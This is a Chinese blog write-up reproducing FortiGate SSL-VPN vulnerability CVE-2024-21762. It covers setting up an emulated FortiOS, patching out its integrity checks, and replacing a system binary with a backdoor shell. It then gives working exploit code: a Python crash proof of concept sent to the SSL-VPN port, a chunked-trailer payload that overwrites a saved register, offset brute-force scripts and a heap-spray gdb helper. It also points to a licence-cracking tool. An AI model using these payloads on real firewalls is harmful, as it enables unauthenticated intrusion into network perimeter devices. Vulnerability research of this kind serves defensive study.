[漏洞复现] Fortigate CVE-2024-21762
[漏洞复现] Fortigate CVE-2024-21762
因为一些机缘巧合接触到了这个CVE,发现漏洞利用思路清奇,其中涉及到的部分细节网上的文章也写的很笼统,于是写一个文章记录一下自己的复现过程。
环境搭建
下载镜像:
-rw-rw-r-- 1 akyoi akyoi 104045685 3月 16 14:51 FGT_VM64_KVM-v7.4.0.F-build2360-FORTINET.out.kvm.zip
解压出fortios.qcow2 使用qemu启动,可以写一个脚本:
#!/bin/sh
sudo pkill qemu
sleep 3 # for gdb connect
# cp ./fortios_7.2.6.1.qcow2 ./fortios.qcow2
sudo qemu-system-x86_64 \
-cpu host \
-m 4096 \
-smp 2 \
-machine q35,accel=kvm \
-drive file=fortios.qcow2,if=virtio,format=qcow2 \
-netdev tap,id=net0,ifname=tap0,script=no,downscript=no \
-device virtio-net-pci,netdev=net0 \
-nographic \
-s
启动后配置ip和sslvpn。证书可以使用https://github.com/rrrrrrri/fgt-gadgets进行破解(因为找到的镜像版本比较旧所以直接用就可以了,新版本需要对内核和init进行patch之后进行license的破解)。
config system interface
edit "port1"
set mode static
set ip 192.168.66.2 255.255.255.0
set allowaccess http https ssh telnet ping
next
end
config router static
edit 1
set gateway 192.168.66.1
set device "port1"
next
end
config system dns
set primary 8.8.8.8
set secondary 1.1.1.1
end
config system central-management
set mode normal
set type fortimanager
set fmg 192.168.100.219
config server-list
edit 1
set server-type update rating
set server-address 192.168.100.219
next
end
set fmg-source-ip 192.168.66.2
set include-default-servers disable
set vdom root
end
破解文件系统校验以及准备工作
这部分跟网上大同小异,所以简要描述了。 通过挂载文件系统可以查看文件。 mount.sh
#! /bin/sh
sudo modprobe nbd max_part=8
sudo qemu-nbd --connect=/dev/nbd0 fortios.qcow2
lsblk /dev/nbd0
sudo mount /dev/nbd0p1 ./p1
sudo mount /dev/nbd0p2 ./p2
sudo mount /dev/nbd0p3 ./p3
umount.sh
#! /bin/sh
sudo umount ./p1
sudo umount ./p2
sudo umount ./p3
sudo qemu-nbd --disconnect /dev/nbd0
之后可以提取到rootfs以及flatkc gzip解压rootfs.gz之后使用cpio解压rootfs:cpio -idmv < ../rootfs 可以看到/sbin/init了 分析可以看到解压那几个tar.xz使用的是标准的tar和gz(应该是版本比较旧的问题) sub_4033E0遍历那几个tar.xz进行解压。
__int64 __fastcall sub_4033E0(const char *a1)
{
unsigned int v1; // r13d
char v3[528]; // [rsp+0h] [rbp-470h] BYREF
__int128 v4; // [rsp+210h] [rbp-260h] BYREF
__int64 v5; // [rsp+220h] [rbp-250h]
char *v6; // [rsp+228h] [rbp-248h]
__int128 v7; // [rsp+230h] [rbp-240h]
__int128 v8; // [rsp+240h] [rbp-230h]
char s[520]; // [rsp+250h] [rbp-220h] BYREF
unsigned __int64 v10; // [rsp+458h] [rbp-18h]
v10 = __readfsqword(0x28u);
v4 = 0;
v5 = 0;
LODWORD(v4) = 2;
v6 = s;
v7 = 0;
v8 = 0;
snprintf(s, 0x200u, "/%s.tar.xz", a1);
if ( access(s, 0) < 0 )
{
v1 = -1;
printf("[%s:%d] %s doesn't exist\n", "init_loader_decompress_dir", 161, s);
}
else
{
v1 = unpackTarGz((__int64)&v4);
unlink(s);
snprintf(v3, 0x204u, "%s.chk", s);
unlink(v3);
}
return v1;
}
sub_402790调用外部库实现解压,发现是标准的解压算法。因此sbin里面之后一个init程序,而不是有着Fortigate自己实现的ftar和xz程序
__int64 __fastcall sub_402790(__int64 a1)
{
unsigned int v1; // eax
_QWORD *v2; // r14
int v3; // eax
const char *v4; // r13
__int64 v5; // rax
unsigned int v6; // r15d
__int64 v7; // r12
__int64 v8; // rax
__int64 v9; // r13
int *v11; // rax
char *v12; // rax
__int64 (__fastcall *v13)(); // rax
const char *v14; // rax
int *v15; // rax
char *v16; // rax
int *v17; // rax
char *v18; // rax
__int64 v19; // [rsp+8h] [rbp-1068h]
__int64 (__fastcall *v20)(); // [rsp+10h] [rbp-1060h]
__int64 (__fastcall *v21)(); // [rsp+18h] [rbp-1058h]
_QWORD v22[2]; // [rsp+20h] [rbp-1050h] BYREF
char buf[4104]; // [rsp+30h] [rbp-1040h] BYREF
unsigned __int64 v24; // [rsp+1038h] [rbp-38h]
v24 = __readfsqword(0x28u);
v1 = *(_DWORD *)(a1 + 16);
if ( v1 == 2 )
{
v2 = (_QWORD *)(a1 + 24);
v21 = sub_402770;
goto LABEL_5;
}
if ( v1 <= 2 )
{
v2 = *(_QWORD **)(a1 + 24);
if ( v1 )
v21 = (__int64 (__fastcall *)())&j__archive_read_open_FILE;
else
v21 = sub_402730;
LABEL_5:
v3 = *(_DWORD *)(a1 + 40);
if ( v3 != 1 )
goto LABEL_6;
goto LABEL_24;
}
if ( v1 != 3 )
{
v21 = 0;
v2 = 0;
goto LABEL_5;
}
v2 = v22;
v22[0] = *(_QWORD *)(a1 + 24);
v22[1] = *(_QWORD *)(a1 + 32);
v21 = sub_402780;
v3 = *(_DWORD *)(a1 + 40);
if ( v3 != 1 )
{
LABEL_6:
if ( v3 == 2 )
{
v13 = *(__int64 (__fastcall **)())(a1 + 48);
buf[0] = 0;
v4 = 0;
v20 = v13;
v19 = *(_QWORD *)(a1 + 56);
}
else
{
buf[0] = 0;
v4 = 0;
v19 = a1;
v20 = sub_4025C0;
}
goto LABEL_8;
}
LABEL_24:
v4 = *(const char **)(a1 + 48);
buf[0] = 0;
if ( v4 )
{
if ( !*v4 )
{
v6 = 1;
sprintf(
*(void (__fastcall **)(__int64, __va_list_tag *, __int64, __int64, __int64, __int64, _QWORD, void *, void *))(a1 + 8),
(__int64)"ftar:%u empty path",
187);
return v6;
}
v19 = a1;
v20 = sub_4025C0;
if ( !getcwd(buf, 0x1000u) )
{
v11 = __errno_location();
v6 = 1;
v12 = strerror(*v11);
sprintf(
*(void (__fastcall **)(__int64, __va_list_tag *, __int64, __int64, __int64, __int64, _QWORD, void *, void *))(a1 + 8),
(__int64)"ftar:%u getcwd %s",
191,
v12);
return v6;
}
}
else
{
v19 = a1;
v20 = sub_4025C0;
}
LABEL_8:
v5 = archive_read_new();
v6 = 1;
v7 = v5;
if ( !v5 )
return v6;
archive_read_support_format_tar(v5);
if ( *(_DWORD *)a1 == 1 )
{
archive_read_support_filter_gzip(v7);
}
else if ( *(_DWORD *)a1 == 2 )
{
archive_read_support_filter_xz(v7);
}
if ( ((unsigned int (__fastcall *)(__int64, _QWORD *))v21)(v7, v2) )
{
v6 = 1;
v14 = (const char *)archive_error_string(v7);
sprintf(
*(void (__fastcall **)(__int64, __va_list_tag *, __int64, __int64, __int64, __int64, _QWORD, void *, void *))(a1 + 8),
(__int64)"ftar:%u %s",
215,
v14);
goto LABEL_19;
}
if ( v4 )
{
if ( access(v4, 0) && mkdir(v4, 0x1EDu) )
{
v17 = __errno_location();
v6 = 1;
v18 = strerror(*v17);
sprintf(
*(void (__fastcall **)(__int64, __va_list_tag *, __int64, __int64, __int64, __int64, _QWORD, void *, void *))(a1 + 8),
(__int64)"ftar:%u mkdir %s",
228,
v18);
goto LABEL_19;
}
if ( chdir(v4) )
{
v15 = __errno_location();
v6 = 1;
v16 = strerror(*v15);
sprintf(
*(void (__fastcall **)(__int64, __va_list_tag *, __int64, __int64, __int64, __int64, _QWORD, void *, void *))(a1 + 8),
(__int64)"ftar:%u chdir %s",
233,
v16);
goto LABEL_19;
}
}
v8 = archive_write_disk_new();
v9 = v8;
if ( v8 )
{
v6 = ((__int64 (__fastcall *)(__int64, __int64, __int64))v20)(v7, v8, v19);
archive_write_free(v9);
}
else
{
v6 = 1;
sprintf(
*(void (__fastcall **)(__int64, __va_list_tag *, __int64, __int64, __int64, __int64, _QWORD, void *, void *))(a1 + 8),
(__int64)"ftar:%u",
241);
}
LABEL_19:
archive_read_free(v7);
if ( buf[0] )
chdir(buf);
return v6;
}
之后对文件进行解压
xz -d bin.tar.xz
tar -xf bin.tar
之后打包:
tar -cf bin.tar bin
xz -e bin.tar
rm -rf ./bin
find . | cpio -o --format=newc > ../rootfs
如果后续报错空间不足可以删除bin目录下的文件来缩小rootfs的体积。 效果:
root@0xAkyOI:/home/akyoi/PWN/CVE/Fortigate/CVE-2024-21762/rootfsdir# xz -d bin.tar.xz
root@0xAkyOI:/home/akyoi/PWN/CVE/Fortigate/CVE-2024-21762/rootfsdir# tar -xf bin.tar
root@0xAkyOI:/home/akyoi/PWN/CVE/Fortigate/CVE-2024-21762/rootfsdir# ls -al ./bin
总计 108844
drwxr-xr-x 2 root root 4096 5月 9 2023 .
drwxrwxr-x 14 akyoi akyoi 4096 3月 16 15:45 ..
lrwxrwxrwx 1 root root 9 5月 9 2023 acd -> /bin/init
lrwxrwxrwx 1 root root 9 5月 9 2023 acs-sdn-change -> /bin/init
lrwxrwxrwx 1 root root 9 5月 9 2023 acs-sdn-status -> /bin/init
lrwxrwxrwx 1 root root 9 5月 9 2023 acs-sdn-update -> /bin/init
lrwxrwxrwx 1 root root 9 5月 9 2023 alarmd -> /bin/init
... ...
可以看到他把基本所有的功能都集成到了init程序。 我们可以吧gdbserver和busybox复制进去,这样就有了正常的功能较为完整的linuxshell。 为了能从fortigate的shell过渡到linuxshell,可以替换掉smartctl程序为自己的后门程序执行busybox,随便用C语言写一个然后静态编译即可。
rm ./bin/sh
ln -s /bin/busybox ./bin/sh
-rwxrwxr-x 1 root root 2599072 3月 16 15:49 busybox
-rwxr-xr-x 1 root root 1601440 3月 16 15:49 gdbserver
-rwxr-xr-x 1 root root 832184 3月 16 15:49 smartctl
转ELF分析内核
vmlinux-to-elf flatkc flatkc-elf
内核校验
分析校验文件系统的逻辑: kernel_init -> kernel_init_freeable -> fgt_verify_initrd校验文件哈希 校验通过后会执行/sbin/init进行解压执行/bin/init。
__int64 __fastcall kernel_init(__int64 a1, char *a2)
{
int v2; // edx
int v3; // ecx
int v4; // r8d
int v5; // r9d
int v6; // edx
int v7; // ecx
int v8; // r8d
int v9; // r9d
int v10; // edx
int v11; // ecx
int v12; // r8d
int v13; // r9d
__int64 v14; // rax
int v15; // eax
if ( (unsigned int)kernel_init_freeable(a1, (__int64)a2) )
LABEL_8:
panic((unsigned int)aNoWorkingInitF, (_DWORD)a2, v2, v3, v4, v5);
async_synchronize_full();
jump_label_invalidate_initmem();
free_initmem();
if ( byte_FFFFFFFF81493799 )
{
rcu_barrier_sched();
mark_rodata_ro();
}
else
{
printk((unsigned int)&unk_FFFFFFFF813CEA30, (_DWORD)a2, v6, v7, v8, v9);
}
dword_FFFFFFFF816BFA84 = 2;
numa_default_policy();
rcu_end_inkernel_boot();
off_FFFFFFFF8160F160 = aSbinInit;
printk((unsigned int)&unk_FFFFFFFF813CE887, (unsigned int)aSbinInit, v10, v11, v12, v13);
v14 = getname_kernel(aSbinInit);
a2 = (char *)&off_FFFFFFFF8160F160;
v15 = do_execve(v14, &off_FFFFFFFF8160F160, off_FFFFFFFF8160F040);
v2 = v15;
if ( v15 )
{
if ( v15 != -2 )
{
a2 = aSbinInit;
printk((unsigned int)&unk_FFFFFFFF813CEA58, (unsigned int)aSbinInit, v15, v3, v4, v5);
}
goto LABEL_8;
}
return 0;
}
所以我们要让0xFFFFFFFF80C7D32C的返回值是0 这个在gdb调试的时候设置返回值即可。 如果使用常规断点,当attach到bios引导程序的时候常规的断点就会报错。 为了能增加调试的时候成功的几率,这里使用硬件断点。 发现kernel_init_freeable函数里面对qword_FFFFFFFF81824098进行了写操作,而且这个变量的引用很少,所以选择它作为目标。
watch *0xFFFFFFFF81824098
执行完这个函数就可以设置RAX=0了 按理来说用这个重新打包patch的镜像也可以https://github.com/kiler129/recreate-zImage,没有试过。 如果复制rootfs的时候显示空间不足,可以进行扩容一下/dev/sda1分区:
sudo qemu-img create -f qcow2 fortios_temp.qcow2 20G
sudo virt-resize --expand /dev/sda1 fortios.qcow2 fortios_temp.qcow2
mv fortios_temp.qcow2 fortios.qcow2
ls -lh fortios.qcow2
如果你发现使用自己打包的rootfs.gz报错xxxx = xxxx的错误,可能是gz压缩格式不一样,这时候可以直接使用打包的rootfs而不是rootfs.gz,只需要更改/extlinux.conf文件即可。
init校验
报错如下:
System file integrity check failed!
The system is halted.
Power down
在/bin/init中查找到引用:
.rodata:0000000002D8F1E8 53 79 73 74 65 6D 20 66 69 6C 65 20 69 6E 74 65 67 72 69 74 79 20 63 68 65 63 6B 20 66 61 69 6C aSystemFileInte db 'System file integrity check failed!',0Ah,0
.rodata:0000000002D8F1E8 65 64 21 0A 00 ; DATA XREF: sub_452D80+32↑o
.rodata:0000000002D8F1E8 ; sub_CB1FD0+2A↑o
.rodata:0000000002D8F20D 00 00 00 align 10h
第二个引用没有直接调用,往上两层就是函数指针了。所以看第一个引用。 第一个引用往上两层就是main函数:
if ( (int)sub_452D80() < 0 )
sub_452BB0();
其中:
unsigned __int64 sub_452BB0()
{
FILE *v0; // rax
FILE *v1; // r12
int v2; // eax
int v3; // r12d
struct timespec requested_time; // [rsp+0h] [rbp-30h] BYREF
unsigned __int64 v6; // [rsp+18h] [rbp-18h]
v6 = __readfsqword(0x28u);
sub_455840("do_halt");
v0 = fopen("/etc/shutdown.dat", "w");
if ( v0 )
{
v1 = v0;
fprintf(v0, "%d", 1);
fclose(v1);
sync();
sleep(1u);
}
sub_452A90();
v2 = open("/dev/console", 526593);
v3 = v2;
if ( v2 >= 0 )
{
dprintf(v2, "\r\nThe system is halted.\r\n");
fsync(v3);
close(v3);
}
requested_time.tv_sec = 2;
requested_time.tv_nsec = 0;
while ( nanosleep(&requested_time, &requested_time) == -1 && *__errno_location() == 4 )
;
if ( !fork() )
reboot(1126301404);
while ( pause() )
;
return v6 - __readfsqword(0x28u);
}
明显就是刚才的报错。 所以我们只要让其校验返回为0就行了,或者直接去掉调用的指令。 这里直接更改关机函数的逻辑。
Patch前:
.text:0000000000452BB0 ; unsigned __int64 doHalt()
.text:0000000000452BB0 doHalt proc near ; CODE XREF: sub_451FA0+2ED↑p
.text:0000000000452BB0 ; sub_454150+151↓j ...
.text:0000000000452BB0
.text:0000000000452BB0 requested_time = timespec ptr -30h
.text:0000000000452BB0 var_18 = qword ptr -18h
.text:0000000000452BB0 var_8 = qword ptr -8
.text:0000000000452BB0
.text:0000000000452BB0 ; __unwind {
.text:0000000000452BB0 000 55 push rbp
.text:0000000000452BB1 008 BE A5 05 00 00 mov esi, 5A5h
.text:0000000000452BB6 008 BF 00 94 D8 02 mov edi, offset aDoHalt ; "do_halt"
.text:0000000000452BBB 008 48 89 E5 mov rbp, rsp
.text:0000000000452BBE 008 41 54 push r12
.text:0000000000452BC0 010 48 83 EC 28 sub rsp, 28h ; Integer Subtraction
.text:0000000000452BC4 038 64 48 8B 04 25 28 00 00 00 mov rax, fs:28h
Patch后:
.text:0000000000452BB0
.text:0000000000452BB0 ; =============== S U B R O U T I N E =======================================
.text:0000000000452BB0
.text:0000000000452BB0 ; Attributes: bp-based frame
.text:0000000000452BB0
.text:0000000000452BB0 ; unsigned __int64 doHalt()
.text:0000000000452BB0 doHalt proc near ; CODE XREF: sub_451FA0+2ED↑p
.text:0000000000452BB0 ; sub_454150+151↓j ...
.text:0000000000452BB0
.text:0000000000452BB0 requested_time = timespec ptr -30h
.text:0000000000452BB0 var_18 = qword ptr -18h
.text:0000000000452BB0 var_8 = qword ptr -8
.text:0000000000452BB0
.text:0000000000452BB0 ; __unwind {
.text:0000000000452BB0 000 C3 retn ; Return Near from Procedure
.text:0000000000452BB0
.text:0000000000452BB1 ; ---------------------------------------------------------------------------
之后即可成功进入系统
调试
执行diagnose hardware smartctl执行后门获取shell 之后拿到gdb调试端口
kill -9 $(./bin/busybox pidof telnetd) && ./bin/gdbserver 0.0.0.0:23 --attach $(./bin/busybox pidof sslvpnd)
之后就可以进行调试了。 启动的时候如果发现宿主机和qemu之间ping不通,可以试试执行:
config system interface
edit "port1"
set status down
next
edit "port1"
set status up
next
end
刷新fortigate的接口状态。 同时宿主机记得设置ip:
sudo ip addr add 192.168.66.1/24 dev tap0
sudo ip link set tap0 up
漏洞复现
触发崩溃
发送poc:
import socket
import ssl
from pwn import *
TIMEOUT = 5
TARGET_ADDR = "192.168.66.2"
TARGET_PORT = 10443
context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
def send_request(host, port, data):
address = (host, port)
try:
# 创建连接
s = socket.create_connection(address, timeout=TIMEOUT)
ss = context.wrap_socket(s)
print(f"[*] Sending payload to {host}:{port}...")
ss.sendall(data)
# 增加输出收到的内容
print("[*] Receiving response...")
response = b""
while True:
try:
chunk = ss.recv(4096)
if not chunk:
break
response += chunk
except socket.timeout:
print("[!] socket timeout (no more data)")
break
if response:
print("-" * 30)
# 尝试以 UTF-8 解码,如果失败则输出原始十六进制
try:
print(response.decode('utf-8'))
except UnicodeDecodeError:
print(f"[!] Binary response received:\n{response.hex()}")
print("-" * 30)
else:
print("[!] No response received from server.")
ss.close()
except Exception as e:
print(f"[x] Error: {e}")
data = b"POST / HTTP/1.1\r\n"
data += b"Host: 192.168.66.2:10443\r\n"
data += b"Transfer-Encoding: chunked\r\n"
data += b"Connection: close\r\n"
data += b"\r\n"
data += b"0\r\n"
data += b"A: X\r\n"*89
send_request(TARGET_ADDR, TARGET_PORT, data)
可以看到触发了Crash:
R12寄存器的高位被写入了0x0a0d。
关键代码定位
根据网上的信息,我们可以知道问题出现在解析chunk的地方。 而调用其一般是通过函数指针。 因此我们看一下崩溃代码附近有没有调用函数指针的。幸运的是附近就有一个函数调用了一堆函数指针,而且经过调试,发现每次建立连接发送POC都会经过5次循环在这里调用函数指针:
__int64 __fastcall sub_18B78D0(__int64 a1, int a2, __int64 a3, __int64 a4)
{
__int64 v5; // r13
__int64 v6; // rsi
__int64 v7; // r15
__int64 (*v8)(void); // rax
unsigned int v9; // eax
char v10; // al
__int64 result; // rax
unsigned int (*v12)(void); // rax
__int64 j; // rax
__int64 *v14; // rax
__int64 v15; // rdx
__int64 i; // rax
__int64 k; // rax
__int64 *v18; // rax
__int64 m; // rax
__int64 v20; // rdx
__int64 n; // rax
v5 = *(_QWORD *)(a1 + 664);
v6 = *(_BYTE *)(a1 + 1837) & 0x20;
if ( !v5 || (v7 = *(_QWORD *)(v5 + 112)) == 0 || (a4 = v5 + 96, v5 + 96 == v7) )
{
if ( !(_BYTE)v6 )
{
if ( (*(_BYTE *)(a1 + 1837) & 0x40) == 0 )
{
LABEL_19:
v6 = v5;
if ( (int)sub_18B7550(a1, v5, a3, a4) < 0 )
{
if ( !(unsigned int)sub_18A1D10(a1) )
{
sub_18A1CF0(a1);
return 1;
}
}
else if ( !(unsigned int)sub_18A1D10(a1) )
{
return sub_18B75B0(a1, v6, a3, a4);
}
return 1;
}
return sub_18B75B0(a1, v6, a3, a4);
}
goto LABEL_66;
}
if ( a2 < 0 )
{
if ( !(_BYTE)v6 )
{
v10 = *(_BYTE *)(a1 + 1837) & 0x40;
goto LABEL_15;
}
LABEL_66:
*(_BYTE *)(a1 + 1834) |= 0x80u;
return 0xFFFFFFFFLL;
}
if ( (_BYTE)v6 )
goto LABEL_66;
if ( (_DWORD)a3 )
{
v8 = *(__int64 (**)(void))(32LL * a2 + v7 + 32);
if ( !v8 )
return 0xFFFFFFFFLL;
v9 = v8();
a4 = v5 + 96;
a3 = v9;
v10 = *(_BYTE *)(a1 + 1837) & 0x40;
if ( !(_DWORD)a3 )
{
if ( v10 )
goto LABEL_10;
v6 = (unsigned int)a2;
*(_DWORD *)(v7 + 32LL * a2 + 16) = sub_18B7820(a1, (unsigned int)a2, 1, a4);
if ( (*(_BYTE *)(a1 + 1837) & 0x40) != 0 )
return sub_18B75B0(a1, v6, a3, a4);
return 0;
}
}
else
{
v12 = *(unsigned int (**)(void))(32LL * a2 + v7 + 40);
if ( !v12 )
return 0xFFFFFFFFLL;
a3 = v12();
v10 = *(_BYTE *)(a1 + 1837) & 0x40;
if ( v10 )
{
LABEL_10:
if ( (_DWORD)a3 == 7 )
return 0xFFFFFFFFLL;
return sub_18B75B0(a1, v6, a3, a4);
}
a4 = v5 + 96;
if ( !(_DWORD)a3 )
{
v6 = (unsigned int)a2;
*(_DWORD *)(v7 + 32LL * a2 + 20) = sub_18B7820(a1, (unsigned int)a2, a3, v5 + 96);
if ( (*(_BYTE *)(a1 + 1837) & 0x40) != 0 )
return sub_18B75B0(a1, v6, a3, a4);
return 0;
}
}
LABEL_15:
if ( v10 )
goto LABEL_10;
switch ( (int)a3 )
{
case 0:
return (unsigned int)a3;
case 1:
v15 = *(_QWORD *)(*(_QWORD *)(v5 + 112) + 8LL);
if ( v15 == a4 )
return 0xFFFFFFFFLL;
for ( i = 0; i != 40; i += 8 )
{
if ( *(_QWORD *)(a1 + i + 616) )
{
*(_DWORD *)(v15 + 4 * i + 16) = *(_DWORD *)(v15 + 4 * i + 24);
*(_DWORD *)(v15 + 4 * i + 20) = *(_DWORD *)(v15 + 4 * i + 28);
}
}
*(_QWORD *)(v5 + 112) = *(_QWORD *)(*(_QWORD *)(v5 + 112) + 8LL);
return 0;
case 2:
v18 = *(__int64 **)(v5 + 112);
goto LABEL_46;
case 3:
v14 = *(__int64 **)(v5 + 112);
goto LABEL_40;
case 4:
a3 = **(_QWORD **)(v5 + 112);
if ( a3 == a4 )
goto LABEL_19;
for ( j = 0; j != 40; j += 8 )
{
if ( *(_QWORD *)(a1 + j + 616) )
{
*(_DWORD *)(a3 + 4 * j + 16) = *(_DWORD *)(a3 + 4 * j + 24);
*(_DWORD *)(a3 + 4 * j + 20) = *(_DWORD *)(a3 + 4 * j + 28);
}
}
v14 = **(__int64 ***)(v5 + 112);
*(_QWORD *)(v5 + 112) = v14;
LABEL_40:
a3 = *v14;
if ( *v14 == a4 )
goto LABEL_19;
for ( k = 0; k != 40; k += 8 )
{
if ( *(_QWORD *)(a1 + k + 616) )
{
*(_DWORD *)(a3 + 4 * k + 16) = *(_DWORD *)(a3 + 4 * k + 24);
*(_DWORD *)(a3 + 4 * k + 20) = *(_DWORD *)(a3 + 4 * k + 28);
}
}
v18 = **(__int64 ***)(v5 + 112);
*(_QWORD *)(v5 + 112) = v18;
LABEL_46:
a3 = *v18;
if ( *v18 == a4 )
goto LABEL_19;
for ( m = 0; m != 40; m += 8 )
{
if ( *(_QWORD *)(a1 + m + 616) )
{
*(_DWORD *)(a3 + 4 * m + 16) = *(_DWORD *)(a3 + 4 * m + 24);
*(_DWORD *)(a3 + 4 * m + 20) = *(_DWORD *)(a3 + 4 * m + 28);
}
}
*(_QWORD *)(v5 + 112) = **(_QWORD **)(v5 + 112);
result = 0;
break;
case 5:
v20 = *(_QWORD *)(v5 + 112);
if ( v20 && a4 == v20 )
v20 = 0;
for ( n = 0; n != 40; n += 8 )
{
if ( *(_QWORD *)(a1 + n + 616) )
{
*(_DWORD *)(v20 + 4 * n + 16) = *(_DWORD *)(v20 + 4 * n + 24);
*(_DWORD *)(v20 + 4 * n + 20) = *(_DWORD *)(v20 + 4 * n + 28);
}
}
return 0;
case 6:
goto LABEL_19;
default:
return 0xFFFFFFFFLL;
}
return result;
}
经过崩溃POC的调试,发现调用的这个函数疑似处理chunk的逻辑

__int64 __fastcall sub_18A1FB0(__int64 a1)
{
__int64 v1; // rbx
int v2; // eax
_BYTE v4[8200]; // [rsp+0h] [rbp-2020h] BYREF
unsigned __int64 v5; // [rsp+2008h] [rbp-18h]
v1 = *(_QWORD *)(a1 + 736);
v5 = __readfsqword(0x28u);
do
v2 = sub_178D0B0(v1, v4, 8190);
while ( v2 > 0 );
if ( v2 && (unsigned int)sub_17839D0(*(_QWORD *)(*(_QWORD *)(v1 + 8) + 40LL)) - 1 <= 4 )
return 0;
else
return 6;
}
其中sub_178D0B0中有很多代码往内存写入0xd和0xa,我们对每个地方下断点即可观察写入到了哪里。 经过一步一步调试,发现之前崩溃的R12是在这个函数栈帧返回后的好几个栈帧才被pop进R12的,然后强制解引用非法指针导致崩溃。
控制写入地址
一种可行的方法
经过分析我们可以推断出存在越界写2字节,但是在当前的POC只能导致崩溃,并不能拿到更有效的利用。 之后通过动态调试以及静态逆向,我们可以了解到其存在tailer后写入那两个字节的规则,并且写出递推的脚本:
def calculate_sequence(a0, steps):
"""
推算并打印数列的前 steps 项
"""
base = 0x5c60
current_value = base + a0
print(f"第 0 项: {hex(current_value)} ({current_value})")
for n in range(1, steps,2):
# 每一项都在前一项的基础上加上 2 * (a0 + n)
increment = a0 + n + 3
current_value += increment
print(f"第 {n} 项: {hex(current_value)} ({current_value})")
# --- 使用示例 ---
# 假设 a0 = 10,计算前 5 项
a0_value = 199
calculate_sequence(a0_value, 50*2)
并且可以爆破出我们需要什么样的payload才能写入到偏移多少的地方:
def brute_force_a0(target_hex, max_a0=1000, max_steps=500):
target = int(target_hex, 16)
base = 0x5c60
print(f"开始搜索目标值: {target_hex} ({target})...\n")
print(f"{'a0':<10} | {'项数 (n)':<10} | {'最终计算值':<15}")
print("-" * 40)
found = False
for a0 in range(max_a0):
current_value = base + a0
# 检查第 0 项
if current_value == target:
print(f"{a0:<10} | {'0':<10} | {hex(current_value)}")
found = True
# 模拟代码中的循环逻辑
for n in range(1, max_steps, 2):
increment = a0 + n + 3
current_value += increment
if current_value == target:
print(f"{a0:<10} | {n:<10} | {hex(current_value)}")
found = True
break
elif current_value > target:
# 如果当前值已经超过目标,提前跳出当前 a0 的检查
break
if not found:
print("在指定的范围内未找到匹配的 a0。")
# 执行搜索
brute_force_a0("0x7cb8", max_a0=5000, max_steps=200)
比如这个脚本就是爆破从0x5c60开始我们需要在tailer写入多少0才能写入到0x7cb8那里。
更简单的办法
当然网上也有更简单的方法 函数在处理tailer的时候会通过hex解码获取数值,其会跳过先导的0
__int64 __fastcall hexdecode(unsigned __int8 *a1)
{
unsigned __int8 *v1; // r12
unsigned __int8 i; // bl
const unsigned __int16 **v3; // rax
unsigned __int8 *v4; // rcx
__int64 v5; // r8
const unsigned __int16 *v6; // rdx
__int64 v7; // rbx
unsigned __int8 v8; // al
v1 = a1;
for ( i = *a1; i == 48; ++v1 )
i = v1[1];
v3 = __ctype_b_loc();
v4 = v1 + 16;
v5 = 0;
v6 = *v3;
while ( (v6[i] & 0x1000) != 0 )
{
if ( v1 == v4 )
return -1;
if ( (unsigned __int8)(i - 48) <= 9u )
{
v7 = (char)(i - 48);
}
else if ( (unsigned __int8)(i - 65) > 5u )
{
v8 = i - 97;
v7 = (char)(i - 87);
if ( v8 >= 6u )
v7 = 0;
}
else
{
v7 = (char)(i - 55);
}
++v1;
v5 = v7 | (16 * v5);
i = *v1;
}
return v5;
}
可以利用这个特性直接写入到那里,这里不详细解释,这也是网上普遍的做法。
Exploit
劫持R13
我们有了两个字节的栈上任意写,而且是不可控的0xd0a。 这里普遍的利用方法就是劫持栈上存储的R13寄存器,让其指向堆的另一块内存,在那个内存提前布置payload,后面解引用取出函数指针调用的时候就可以随便劫持执行流了。 至于为什么不用别的方法别人分析的已经很清晰了。 经过调试与之前脚本的爆破,我们发现下面的payload可行:
data = b"POST / HTTP/1.1\r\n"
data += b"Host: 10.0.0.3:10443\r\n"
data += b"Transfer-Encoding: chunked\r\n"
data += b"Connection: close\r\n"
data += b"\r\n"
data += b"0"*18+b'\r\n'
data += b"0\r\n"*100
data += b"0"*254+b'\r\n'
因此我们成功修改了R13:

堆喷
我们的目的是提前在劫持后的R13指向的地方布置payload,就需要提前申请堆块到那里。
b *0x18A2006
source /home/akyoi/PWN/CVE/Fortigate/CVE-2024-21762/gdb.py
target remote 192.168.66.2:23
在这一部分犯了一个很大的错误,原本一开始以为只要单线程进行堆喷就行了,即目的是消耗tcache里面的堆块就可以堆喷到目标地址,结果堆喷了两三天都没有喷出来。甚至写了个脚本自动爆破不同size进行堆喷。 结果过了两天尝试进行多线程堆喷的时候发现成功率还是比较可观的(虽然也不是太高),但是运气好的话还是能喷到的。 反正我的堆喷思路就是: 创建一堆SSL连接,这时候就会申请一堆结构体,即je_calloc申请的chunk,这时候因为没有发送业务的数据包,所以并不会进行申请别的堆块。 之后通过创建好的一堆连接发送数据包,这时会创建一堆chunk,有几率申请到我们需要的地方。 看网上的文章的payload和github上的poc发现都是发了一个包再直接发一个触发崩溃的poc就感觉是进行了单线程堆喷。(或许也可能是版本的问题?当然也有可能某些版本比较幸运在tcache的开头就是目标地址的chunk?) 这里对网上的gdb脚本做了修改,方便自己寻找合适的堆喷: 由于地址随机化的存在,某些时间段内这些参数能稳定堆喷成功但是过一段时间就会失败。所以这东西还是很玄学的
import gdb
import socket
import datetime # 增加时间戳支持
# --- 通信与文件配置 ---
UDP_IP = "127.0.0.1"
UDP_PORT = 5005
LOG_FILE = "heap_match_log.txt" # 匹配结果保存文件
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind((UDP_IP, UDP_PORT))
sock.setblocking(False)
context = {
"target_size": 0,
"malloc_size": 0,
"calloc_size": 0,
"dynamic_high_bits": 0
}
def log_to_file(content):
"""将匹配到的关键信息写入文件"""
with open(LOG_FILE, "a") as f:
timestamp = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
f.write(f"[{timestamp}] {content}\n")
def update_target_size():
try:
data, _ = sock.recvfrom(1024)
context["target_size"] = int(data.decode())
except:
pass
# --- Malloc 断点逻辑 ---
class MallocEntry(gdb.Breakpoint):
def stop(self):
update_target_size()
size = int(gdb.parse_and_eval("$rdi"))
if size//8 == context["target_size"]//8 and size != 0:
context["malloc_size"] = size
return False
class MallocExit(gdb.Breakpoint):
def stop(self):
size = context["malloc_size"]
if size > 0:
addr = int(gdb.parse_and_eval("$rax"))
# 碰撞检测逻辑:判断 malloc 分配的范围是否覆盖了 calloc 记录的关键高位/基址
